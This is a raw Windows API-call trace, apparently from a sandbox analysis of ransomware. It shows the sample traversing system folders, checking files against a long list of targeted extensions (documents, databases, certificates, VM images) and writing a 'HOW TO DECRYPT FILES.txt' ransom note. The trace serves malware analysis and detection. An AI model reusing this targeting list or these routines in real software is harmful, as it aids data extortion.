5 [0103.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.jpeg") returned 0 [0103.495] lstrlenA (lpString="*.jpeg") returned 6 [0103.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.jpg") returned 0 [0103.495] lstrlenA (lpString="*.jpg") returned 5 [0103.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.png") returned 0 [0103.495] lstrlenA (lpString="*.png") returned 5 [0103.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.php") returned 0 [0103.495] lstrlenA (lpString="*.php") returned 5 [0103.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.cs") returned 0 [0103.495] lstrlenA (lpString="*.cs") returned 4 [0103.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.cpp") returned 0 [0103.495] lstrlenA (lpString="*.cpp") returned 5 [0103.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.rar") returned 0 [0103.496] lstrlenA (lpString="*.rar") returned 5 [0103.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.zip") returned 0 [0103.496] lstrlenA (lpString="*.zip") returned 5 [0103.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.html") returned 0 [0103.496] lstrlenA (lpString="*.html") returned 6 [0103.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.htm") returned 0 [0103.496] lstrlenA (lpString="*.htm") returned 5 [0103.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.xlsx") returned 0 [0103.496] lstrlenA (lpString="*.xlsx") returned 6 [0103.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.xls") returned 0 [0103.496] lstrlenA (lpString="*.xls") returned 5 [0103.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.mp4") returned 0 [0103.496] lstrlenA (lpString="*.mp4") returned 5 [0103.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.ppt") returned 0 [0103.496] lstrlenA (lpString="*.ppt") returned 5 [0103.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.pptx") returned 0 [0103.496] lstrlenA (lpString="*.pptx") returned 6 [0103.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.doc") returned 0 [0103.496] lstrlenA (lpString="*.doc") returned 5 [0103.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.dot") returned 0 [0103.496] lstrlenA (lpString="*.dot") returned 5 [0103.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.docx") returned 0 [0103.496] lstrlenA (lpString="*.docx") returned 6 [0103.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.7z") returned 0 [0103.497] lstrlenA (lpString="*.7z") returned 4 [0103.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.tar") returned 0 [0103.497] lstrlenA (lpString="*.tar") returned 5 [0103.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.bz2") returned 0 [0103.497] lstrlenA (lpString="*.bz2") returned 5 [0103.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.gz") returned 0 [0103.497] lstrlenA (lpString="*.gz") returned 4 [0103.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.mkv") returned 0 [0103.497] lstrlenA (lpString="*.mkv") returned 5 [0103.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.eml") returned 0 [0103.497] lstrlenA (lpString="*.eml") returned 5 [0103.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.msg") returned 0 [0103.497] lstrlenA (lpString="*.msg") returned 5 [0103.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.edb") returned 0 [0103.497] lstrlenA (lpString="*.edb") returned 5 [0103.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.accdb") returned 0 [0103.497] lstrlenA (lpString="*.accdb") returned 7 [0103.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.odb") returned 0 [0103.497] lstrlenA (lpString="*.odb") returned 5 [0103.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.java") returned 0 [0103.497] lstrlenA (lpString="*.java") returned 6 [0103.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.asm") returned 0 [0103.497] lstrlenA (lpString="*.asm") returned 5 [0103.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.pfx") returned 0 [0103.497] lstrlenA (lpString="*.pfx") returned 5 [0103.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.pem") returned 0 [0103.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.p12") returned 0 [0103.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.gpg") returned 0 [0103.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.vsd") returned 0 [0103.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.odg") returned 0 [0103.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.raw") returned 0 [0103.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.nef") returned 0 [0103.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.svg") returned 0 [0103.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.psd") returned 0 [0103.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.vmx") returned 0 [0103.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.vmdk") returned 0 [0103.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.vdi") returned 0 [0103.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.lay6") returned 0 [0103.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.mpeg") returned 0 [0103.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.djvu") returned 0 [0103.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.tiff") returned 0 [0103.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.backup") returned 0 [0103.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.pdf") returned 0 [0103.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.cert") returned 0 [0103.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.docm") returned 0 [0103.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.xlsm") returned 0 [0103.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.dwg") returned 0 [0103.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.nd") returned 0 [0103.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.tlg") returned 0 [0103.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.lgb") returned 0 [0103.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.mov") returned 0 [0103.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.xdw") returned 0 [0103.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.ods") returned 0 [0103.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.wav") returned 0 [0103.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.mp3") returned 0 [0103.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.aiff") returned 0 [0103.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.flac") returned 0 [0103.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.m4a") returned 0 [0103.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\de64901e4cd2074f5c70733ab5d7787a\\Microsoft.Windows.Diagnosis.SDHost.ni.dll", pszSpec="*.csv") returned 0 [0103.501] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d209ae0, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d209ae0, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d209ae0, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.SDHost.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.501] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.501] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dbdb5b2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6dbdb5b2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6dbdb5b2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="e7904d77bcee77868d534546ed2a61b6", cAlternateFileName="E7904D~1")) returned 1 [0103.501] lstrcmpA (lpString1=".", lpString2="e7904d77bcee77868d534546ed2a61b6") returned -1 [0103.501] lstrcmpA (lpString1="..", lpString2="e7904d77bcee77868d534546ed2a61b6") returned -1 [0103.501] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\*.*") returned="*.*" [0103.501] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\", lpString2="e7904d77bcee77868d534546ed2a61b6" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6" [0103.501] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dbdb5b2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6dbdb5b2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6dbdb5b2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.501] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.501] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dbdb5b2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6dbdb5b2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6dbdb5b2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.502] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.502] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.502] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db8f2f1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6db8f2f1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6db8f2f1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.SDEngine.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.502] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.502] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.SDEngine.ni.dll") returned -1 [0103.502] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.SDEngine.ni.dll") returned -1 [0103.502] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.SDEngine.ni.dll") returned -1 [0103.502] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\*.*") returned="*.*" [0103.502] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\" [0103.502] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\") returned="" [0103.502] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\HOW TO DECRYPT FILES.txt" [0103.502] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.windows.d#\\e7904d77bcee77868d534546ed2a61b6\\how to decrypt files.txt")) returned 0xffffffff [0103.502] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.windows.d#\\e7904d77bcee77868d534546ed2a61b6\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.715] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.717] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.717] CloseHandle (hObject=0x90) returned 1 [0103.718] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\", lpString2="Microsoft.Windows.Diagnosis.SDEngine.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll" [0103.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.ems") returned 0 [0103.718] lstrlenA (lpString="*.ems") returned 5 [0103.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.db") returned 0 [0103.718] lstrlenA (lpString="*.db") returned 4 [0103.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.dbf") returned 0 [0103.718] lstrlenA (lpString="*.dbf") returned 5 [0103.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.myox") returned 0 [0103.718] lstrlenA (lpString="*.myox") returned 6 [0103.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.myo") returned 0 [0103.718] lstrlenA (lpString="*.myo") returned 5 [0103.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.qbw") returned 0 [0103.719] lstrlenA (lpString="*.qbw") returned 5 [0103.719] 